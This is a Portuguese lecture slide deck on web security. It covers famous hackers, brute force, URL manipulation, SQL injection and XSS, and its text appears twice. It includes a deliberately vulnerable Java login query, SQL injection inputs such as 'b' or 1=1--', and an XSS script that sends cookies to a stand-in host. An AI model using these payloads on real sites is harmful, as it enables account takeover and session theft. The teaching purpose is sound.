Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2013
Segurança da Internet
Ricardo Terra
rterrabh [at] gmail.com
Segurança da Internet 1Outubro, 2012
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2013
CV
Nome: Ricardo Terra
Email: rterrabh [at] gmail.com
www: ricardoterra.com.br
Twitter: rterrabh
Lattes: lattes.cnpq.br/ 0162081093970868
Ph.D. (UFMG/UWaterloo),
Post-Ph.D. (INRIA/Université Lille 1)
Background
Acadêmico: UFLA (desde 2014), UFSJ (1 ano), FUMEC (3 anos), UNIPAC (1 ano), FAMINAS (3 anos)
Profissional: DBA Eng. (1 ano), Synos (2 anos), Stefanini (1 ano)
Segurança da Internet 2Outubro, 2012
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012
Segurança de Redes (Histórico)
§  Robert Tappan Morris
§  Primeiro worm (similar a um vírus, porém é um programa
completo, não precisa de um outro programa para se
propagar) da Internet
§  O programa principal consistia em menos de 100 linhas de
código em C
§  6.000 computadores infectados, só nos EUA, em 24 horas
§  Efeitos:
§  Infecção
§  Sobrecarga
§  Incapacitação
§  Atualmente
professor do MIT
3Segurança da Internet
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 4Segurança da Internet
Segurança de Redes (Histórico)
§  Kevin Poulsen
§  primeiro grande hacker da Internet
§  Invadiu, entre outros,
§  a marinha americana
§  diversas Universidades, como UCLA
§  rádio americana KIIS-FM, 102º ligador e ganhava um
Porche 944 S2
§  A partir daí, criou-se a lei americana contra “invasões” em
redes
§  Trabalhou posteriormente
para o governo americano
§  Foi jornalista da SecurityFocus
e atualmente é editor sênior
da Wired News
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 5Segurança da Internet
Segurança de Redes (Histórico)
§  Kevin Mitnick
§  O mais famoso
§  Foi preso e já foi solto
§  Invadiu
§  FBI
§  Universidades, etc
§  Seu ataque foi muito sofisticado e sem
“solução” até os dias
atuais
§  Utilizava práticas de
engenharia social
§  Atualmente proprietário
da Mitnick Security
Consulting
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 6Segurança da Internet
Segurança de Redes (Histórico)
§  Mais sobre Kevin Mitnick
§  Dos 37 aos 40 anos foi proibido de acessar qualquer meio
de comunicação com exceção de telefone fixo
§  Liberdade condicional
§  Sua empresa – Mitnick Security Consulting – foi invadida
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 7Segurança da Internet
Teoria evolucionista de Darwin
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 8Segurança da Internet
O que é?
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 9Segurança da Internet
Quem geralmente é?
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 10Segurança da Internet
Ataque às pessoas...
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 11Segurança da Internet
Ataque às empresas...
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 12Segurança da Internet
Atualmente nas grandes áreas
§  Database Security
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 13Segurança da Internet
Atualmente nas grandes áreas
§  Network Security
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 14Segurança da Internet
Atualmente nas grandes áreas
§  Application Security
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 15Segurança da Internet
Atualmente nas grandes áreas
§  Web application Security
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 16Segurança da Internet
Começando...
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 17Segurança da Internet
Introdução
§  Os ataques a serviços de rede estão se tornando muito
sofisticados
§  criatividade humana
§  Mas o que falta?
§  APLICAÇÕES! Mas será que é possível?
§  Atualmente a maioria dos BUG’s reportados estão em
aplicações
§  Application Security ≠ Network Security
§  Quem provê acesso aos dados? As aplicações!
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 18Segurança da Internet
Lendas
§  Não há problemas de segurança
§  Até que ela seja violada
§  Erros de runtime (tempo de execução) não são problemas
§  Expõem informações altamente relevantes
§  Consumem recurso do servidor
§  Deve ser tratados
§  Web Services não são vulneráveis
§  Quase nunca testados e raramente a segurança é
considerada
§  Solução
§  Testes de penetração. São caros!!!
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 19Segurança da Internet
Objetivos
§  Demonstrar alguns desses ataques
§  Pois, para nos protegermos temos de entender as táticas e as
armas de nosso inimigo
§  Além disso, temos que ter nossas armas para nos defender
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 20Segurança da Internet
Ataques
§  Força Bruta
§  URL Manipulation
§  SQL Injection
§  XSS Cross Site Scripting
§  E o HTTPS? Se utilizarmos, nossa aplicação é segura?!
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 21Segurança da Internet
Arquitetura TCP/IP
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012Segurança da Internet
Força Bruta
§  Tentar todas as possibilidades...
22
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012Segurança da Internet
Força Bruta
§  Exemplo Motivador: SINEF
§  Técnicas para evitar
§  Limite de Tentativas
§  Você utilizou 5 tentativas. Usuário bloqueado.
§  Tempo de Ociosidade
§  Você utilizou 5 tentativas. Usuário bloqueado por 30 minutos.!
§  Imagem
23
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012
Força Bruta
§  Como fazer?
§  Descobrir o formulário e o nome do seus campos
§  Bolar um algoritmo para gerar todas as combinações
§  Ir tentando…
§  Tome cuidado que é possível descobrí-lo pelo seu IP
§  Não use para o mal:
§  www.peladeiro.com.br
§  qualquer outro... deixo com vocês...
Segurança da Internet 24
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 25Segurança da Internet
URL Manipulation
§  O método GET do Protocolo HTTP requisita informações
importantes na URL
§  Portanto, os parâmetros podem ser manipulados para se
obter resultados satisfatórios ou, no mínimo, "interessantes"
§  O impacto é ALTO
§  Vamos ver um exemplo didádico e procurar alguma brecha
dessas na Internet
§  Não necessariamente uma brecha seja uma vulnerabilidade
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 26Segurança da Internet
URL Manipulation
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 27Segurança da Internet
URL Manipulation
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 28Segurança da Internet
URL Manipulation
§  Alguns possíveis testes:
§  Verificar se algum parâmetro é passado via HTTP GET
§  Verificar se os dados sensíveis armazenados no cookie
estão encriptados
§  Verificar que dados sensíveis não são armazenados no
cache
§  Verificar se os dados encriptados estão voltando
corretamente
§  Verificar que além dos parâmetros os campos também estão
sendo encriptados
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 29Segurança da Internet
SQL Injection
§  A idéia é injetar um comando SQL ou algum comando como o
valor de entrada de algum campo de um formulário WEB
§  Todos os parâmetros passados são direcionados para o banco
de dados
§  O atacante pode manipular com as tabelas e dados diretamente
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 30Segurança da Internet
SQL Injection
§  Causas:
public boolean onLogon(String nome, String senha){
boolean result = false;
Connection conn = null;
try {
conn = ServiceLocator.getConnection();
Statement st = conn.createStatement();
ResultSet rs =
st.executeQuery("select 1 from USUARIO where NOME = '" + nome
+ "' and SENHA = '" + senha + "'");
result = rs.next();
...
} catch (SQLException e) {
...
} finally {
...
}
return result;
}
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 31Segurança da Internet
SQL Injection
ESPERADO
nome: chaves
senha: kiko!
Quando submetido a query será montada como a seguinte:
select 1 from USUARIO !
! !where NOME = 'chaves' and SENHA = 'kiko'
NÃO ESPERADO
nome: abc'--
senha: kiko!
Quando submetido a query será montada como a seguinte:
select 1 from USUARIO !
! !where NOME = 'abc’-- and SENHA = ''
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 32Segurança da Internet
SQL Injection
ESPERADO
nome: doug
senha: f@c01!
Quando submetido a query será montada como a seguinte:
select 1 from USUARIO !
! !where NOME = 'doug' and SENHA = 'f@c01'
NÃO ESPERADO
nome: a
senha: b' or 1=1--!
Quando submetido a query será montada como a seguinte:
select 1 from USUARIO !
! !where NOME = 'a' and SENHA = 'b' or 1=1--'
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 33Segurança da Internet
SQL Injection
§  Além disso, tem como:
§  Identificar campos de uma tabela
§  Verificar se a tabela existe
§  Procurar por usuários
§  Ataques de força bruta
§  Verificar permissões
§  Criar um usuário
§  Alterar dados
§  Determinar qual SGBD e a versão do SGBD
§  Interagir com o S.O.
§  Manipular informações da rede
§  Modificar o registro do Windows
§  Obter senha do VNC
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 34Segurança da Internet
SQL Injection
§  Alguns testes:
§  Identifique os parâmetros, html e xml tags utilizados na
aplicação web
§  Substitua o conteúdo dos parâmetros por todos caracteres
utilizados em um ataque de injeção de SQL
§  Verifique que as queries foram substituídas por stored
procedures
§  Verificar se as mensagens de erro fornecem alguma
informação
§  Verifique que os usuários da aplicação web tem o menor
nível de acessibilidade possível no banco de dados
§  (continua...)
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 35Segurança da Internet
SQL Injection
§  Verificar se todos os campos do formulário estão sendo
validados
§  Verificar se existe limite para uploads
§  Verificar que a aplicação não aceita: dados binários,
caracteres de comentário etc
§  etc
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 36Segurança da Internet
XSS Cross Site Scripting
§  É uma vulnerabilidade tipicamente encontrada em aplicações
web que permitem injeção de código por usuários maliciosos em
páginas vistas por outros usuários
§  Exemplos de tais códigos são código HTML e scripts executados
no lado do cliente (JavaScript, por exemplo)
§  Uma exploração comum é utilizar uma vulnerabilidade de
execução de scripts para ultrapassar a política de segurança
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 37Segurança da Internet
XSS Cross Site Scripting
§  Não existe a ligação entre o ID do login e o ID da sessão
§  A sessão do usuário pode ser roubada
§  A ideia é obter de alguma forma o ID da sessão
§  Impacto é alto
§  Pois, o usuário malicioso tem TODOS os privilégios do
usuário autorizado
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 38Segurança da Internet
XSS Cross Site Scripting
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 39Segurança da Internet
XSS Cross Site Scripting
§  Um exemplo:
§  Pode se receber um e-mail com um link
§  O resultado é enviado para um site
http://www.mymail.com?
search="<script>window.navigate("http://
badsite.net/steal.asp?
cookie="+document.cookie)</script>"
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 40Segurança da Internet
XSS Cross Site Scripting
§  Solução:
§  Sempre valide a sessão com login e os parâmetros críticos
§  Como IP da máquina de origem e, até mesmo, o
endereço MAC da máquina do cliente
§  Alguns testes:
§  Verificar os posts disponíveis na aplicação
§  Verificar que as sessões são sempre verificadas
§  Verificar os cookies não proveem dados sensíveis
§  Verificar que não é possível executar outro script dentro da
aplicação
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 41Segurança da Internet
Considerações Finais
§  Não há segurança de sistemas sem a conjunção de três fatores
§  Boas praticas de codificação
§  Metodologia adequada (projeto, arquitetura etc)
§  Testes, testes e testes!!!
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 42Segurança da Internet
Dúvidas?
???
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 43Segurança da Internet
Ricardo Terra
rterrabh@gmail.com
Apresentação disponível em:
www.ricardoterra.com.br/palestras
Principais referências bibliográficas:
ASSAD, Rodrigo. Testando Segurança em aplicações WEB. Recife:
III Encontro Brasileiro de Testes de Software, 2008.
SILBERSCHATZ. A.; KORTH, H. F.; SUDARSHAN, S. Sistemas
de bancos de dados. Tradução de Daniel Vieira. Rio de Janeiro:
Editora Campus, 2006. Título original: Database system concepts. 5 ed.
Obrigado!
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 44Segurança da Internet
Outras referências bibliográficas
§  http://en.wikipedia.org/wiki/Robert_Tappan_Morris
§  http://en.wikipedia.org/wiki/Kevin_Poulsen
§  http://en.wikipedia.org/wiki/Kevin_Mitnick

Segurança da Internet

  • 1.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2013 Segurança da Internet Ricardo Terra rterrabh [at] gmail.com Segurança da Internet 1Outubro, 2012
  • 2.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2013 CV Nome: Ricardo Terra Email: rterrabh [at] gmail.com www: ricardoterra.com.br Twitter: rterrabh Lattes: lattes.cnpq.br/ 0162081093970868 Ph.D. (UFMG/UWaterloo), Post-Ph.D. (INRIA/Université Lille 1) Background Acadêmico: UFLA (desde 2014), UFSJ (1 ano), FUMEC (3 anos), UNIPAC (1 ano), FAMINAS (3 anos) Profissional: DBA Eng. (1 ano), Synos (2 anos), Stefanini (1 ano) Segurança da Internet 2Outubro, 2012
  • 3.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 Segurança de Redes (Histórico) §  Robert Tappan Morris §  Primeiro worm (similar a um vírus, porém é um programa completo, não precisa de um outro programa para se propagar) da Internet §  O programa principal consistia em menos de 100 linhas de código em C §  6.000 computadores infectados, só nos EUA, em 24 horas §  Efeitos: §  Infecção §  Sobrecarga §  Incapacitação §  Atualmente professor do MIT 3Segurança da Internet
  • 4.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 4Segurança da Internet Segurança de Redes (Histórico) §  Kevin Poulsen §  primeiro grande hacker da Internet §  Invadiu, entre outros, §  a marinha americana §  diversas Universidades, como UCLA §  rádio americana KIIS-FM, 102º ligador e ganhava um Porche 944 S2 §  A partir daí, criou-se a lei americana contra “invasões” em redes §  Trabalhou posteriormente para o governo americano §  Foi jornalista da SecurityFocus e atualmente é editor sênior da Wired News
  • 5.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 5Segurança da Internet Segurança de Redes (Histórico) §  Kevin Mitnick §  O mais famoso §  Foi preso e já foi solto §  Invadiu §  FBI §  Universidades, etc §  Seu ataque foi muito sofisticado e sem “solução” até os dias atuais §  Utilizava práticas de engenharia social §  Atualmente proprietário da Mitnick Security Consulting
  • 6.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 6Segurança da Internet Segurança de Redes (Histórico) §  Mais sobre Kevin Mitnick §  Dos 37 aos 40 anos foi proibido de acessar qualquer meio de comunicação com exceção de telefone fixo §  Liberdade condicional §  Sua empresa – Mitnick Security Consulting – foi invadida
  • 7.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 7Segurança da Internet Teoria evolucionista de Darwin
  • 8.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 8Segurança da Internet O que é?
  • 9.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 9Segurança da Internet Quem geralmente é?
  • 10.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 10Segurança da Internet Ataque às pessoas...
  • 11.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 11Segurança da Internet Ataque às empresas...
  • 12.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 12Segurança da Internet Atualmente nas grandes áreas §  Database Security
  • 13.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 13Segurança da Internet Atualmente nas grandes áreas §  Network Security
  • 14.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 14Segurança da Internet Atualmente nas grandes áreas §  Application Security
  • 15.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 15Segurança da Internet Atualmente nas grandes áreas §  Web application Security
  • 16.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 16Segurança da Internet Começando...
  • 17.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 17Segurança da Internet Introdução §  Os ataques a serviços de rede estão se tornando muito sofisticados §  criatividade humana §  Mas o que falta? §  APLICAÇÕES! Mas será que é possível? §  Atualmente a maioria dos BUG’s reportados estão em aplicações §  Application Security ≠ Network Security §  Quem provê acesso aos dados? As aplicações!
  • 18.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 18Segurança da Internet Lendas §  Não há problemas de segurança §  Até que ela seja violada §  Erros de runtime (tempo de execução) não são problemas §  Expõem informações altamente relevantes §  Consumem recurso do servidor §  Deve ser tratados §  Web Services não são vulneráveis §  Quase nunca testados e raramente a segurança é considerada §  Solução §  Testes de penetração. São caros!!!
  • 19.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 19Segurança da Internet Objetivos §  Demonstrar alguns desses ataques §  Pois, para nos protegermos temos de entender as táticas e as armas de nosso inimigo §  Além disso, temos que ter nossas armas para nos defender
  • 20.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 20Segurança da Internet Ataques §  Força Bruta §  URL Manipulation §  SQL Injection §  XSS Cross Site Scripting §  E o HTTPS? Se utilizarmos, nossa aplicação é segura?!
  • 21.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 21Segurança da Internet Arquitetura TCP/IP
  • 22.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012Segurança da Internet Força Bruta §  Tentar todas as possibilidades... 22
  • 23.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012Segurança da Internet Força Bruta §  Exemplo Motivador: SINEF §  Técnicas para evitar §  Limite de Tentativas §  Você utilizou 5 tentativas. Usuário bloqueado. §  Tempo de Ociosidade §  Você utilizou 5 tentativas. Usuário bloqueado por 30 minutos.! §  Imagem 23
  • 24.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 Força Bruta §  Como fazer? §  Descobrir o formulário e o nome do seus campos §  Bolar um algoritmo para gerar todas as combinações §  Ir tentando… §  Tome cuidado que é possível descobrí-lo pelo seu IP §  Não use para o mal: §  www.peladeiro.com.br §  qualquer outro... deixo com vocês... Segurança da Internet 24
  • 25.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 25Segurança da Internet URL Manipulation §  O método GET do Protocolo HTTP requisita informações importantes na URL §  Portanto, os parâmetros podem ser manipulados para se obter resultados satisfatórios ou, no mínimo, "interessantes" §  O impacto é ALTO §  Vamos ver um exemplo didádico e procurar alguma brecha dessas na Internet §  Não necessariamente uma brecha seja uma vulnerabilidade
  • 26.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 26Segurança da Internet URL Manipulation
  • 27.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 27Segurança da Internet URL Manipulation
  • 28.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 28Segurança da Internet URL Manipulation §  Alguns possíveis testes: §  Verificar se algum parâmetro é passado via HTTP GET §  Verificar se os dados sensíveis armazenados no cookie estão encriptados §  Verificar que dados sensíveis não são armazenados no cache §  Verificar se os dados encriptados estão voltando corretamente §  Verificar que além dos parâmetros os campos também estão sendo encriptados
  • 29.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 29Segurança da Internet SQL Injection §  A idéia é injetar um comando SQL ou algum comando como o valor de entrada de algum campo de um formulário WEB §  Todos os parâmetros passados são direcionados para o banco de dados §  O atacante pode manipular com as tabelas e dados diretamente
  • 30.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 30Segurança da Internet SQL Injection §  Causas: public boolean onLogon(String nome, String senha){ boolean result = false; Connection conn = null; try { conn = ServiceLocator.getConnection(); Statement st = conn.createStatement(); ResultSet rs = st.executeQuery("select 1 from USUARIO where NOME = '" + nome + "' and SENHA = '" + senha + "'"); result = rs.next(); ... } catch (SQLException e) { ... } finally { ... } return result; }
  • 31.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 31Segurança da Internet SQL Injection ESPERADO nome: chaves senha: kiko! Quando submetido a query será montada como a seguinte: select 1 from USUARIO ! ! !where NOME = 'chaves' and SENHA = 'kiko' NÃO ESPERADO nome: abc'-- senha: kiko! Quando submetido a query será montada como a seguinte: select 1 from USUARIO ! ! !where NOME = 'abc’-- and SENHA = ''
  • 32.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 32Segurança da Internet SQL Injection ESPERADO nome: doug senha: f@c01! Quando submetido a query será montada como a seguinte: select 1 from USUARIO ! ! !where NOME = 'doug' and SENHA = 'f@c01' NÃO ESPERADO nome: a senha: b' or 1=1--! Quando submetido a query será montada como a seguinte: select 1 from USUARIO ! ! !where NOME = 'a' and SENHA = 'b' or 1=1--'
  • 33.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 33Segurança da Internet SQL Injection §  Além disso, tem como: §  Identificar campos de uma tabela §  Verificar se a tabela existe §  Procurar por usuários §  Ataques de força bruta §  Verificar permissões §  Criar um usuário §  Alterar dados §  Determinar qual SGBD e a versão do SGBD §  Interagir com o S.O. §  Manipular informações da rede §  Modificar o registro do Windows §  Obter senha do VNC
  • 34.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 34Segurança da Internet SQL Injection §  Alguns testes: §  Identifique os parâmetros, html e xml tags utilizados na aplicação web §  Substitua o conteúdo dos parâmetros por todos caracteres utilizados em um ataque de injeção de SQL §  Verifique que as queries foram substituídas por stored procedures §  Verificar se as mensagens de erro fornecem alguma informação §  Verifique que os usuários da aplicação web tem o menor nível de acessibilidade possível no banco de dados §  (continua...)
  • 35.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 35Segurança da Internet SQL Injection §  Verificar se todos os campos do formulário estão sendo validados §  Verificar se existe limite para uploads §  Verificar que a aplicação não aceita: dados binários, caracteres de comentário etc §  etc
  • 36.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 36Segurança da Internet XSS Cross Site Scripting §  É uma vulnerabilidade tipicamente encontrada em aplicações web que permitem injeção de código por usuários maliciosos em páginas vistas por outros usuários §  Exemplos de tais códigos são código HTML e scripts executados no lado do cliente (JavaScript, por exemplo) §  Uma exploração comum é utilizar uma vulnerabilidade de execução de scripts para ultrapassar a política de segurança
  • 37.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 37Segurança da Internet XSS Cross Site Scripting §  Não existe a ligação entre o ID do login e o ID da sessão §  A sessão do usuário pode ser roubada §  A ideia é obter de alguma forma o ID da sessão §  Impacto é alto §  Pois, o usuário malicioso tem TODOS os privilégios do usuário autorizado
  • 38.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 38Segurança da Internet XSS Cross Site Scripting
  • 39.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 39Segurança da Internet XSS Cross Site Scripting §  Um exemplo: §  Pode se receber um e-mail com um link §  O resultado é enviado para um site http://www.mymail.com? search="<script>window.navigate("http:// badsite.net/steal.asp? cookie="+document.cookie)</script>"
  • 40.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 40Segurança da Internet XSS Cross Site Scripting §  Solução: §  Sempre valide a sessão com login e os parâmetros críticos §  Como IP da máquina de origem e, até mesmo, o endereço MAC da máquina do cliente §  Alguns testes: §  Verificar os posts disponíveis na aplicação §  Verificar que as sessões são sempre verificadas §  Verificar os cookies não proveem dados sensíveis §  Verificar que não é possível executar outro script dentro da aplicação
  • 41.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 41Segurança da Internet Considerações Finais §  Não há segurança de sistemas sem a conjunção de três fatores §  Boas praticas de codificação §  Metodologia adequada (projeto, arquitetura etc) §  Testes, testes e testes!!!
  • 42.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 42Segurança da Internet Dúvidas? ???
  • 43.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 43Segurança da Internet Ricardo Terra rterrabh@gmail.com Apresentação disponível em: www.ricardoterra.com.br/palestras Principais referências bibliográficas: ASSAD, Rodrigo. Testando Segurança em aplicações WEB. Recife: III Encontro Brasileiro de Testes de Software, 2008. SILBERSCHATZ. A.; KORTH, H. F.; SUDARSHAN, S. Sistemas de bancos de dados. Tradução de Daniel Vieira. Rio de Janeiro: Editora Campus, 2006. Título original: Database system concepts. 5 ed. Obrigado!
  • 44.
    Ricardo Terra (rterrabh[at] gmail.com) Outubro, 2012 44Segurança da Internet Outras referências bibliográficas §  http://en.wikipedia.org/wiki/Robert_Tappan_Morris §  http://en.wikipedia.org/wiki/Kevin_Poulsen §  http://en.wikipedia.org/wiki/Kevin_Mitnick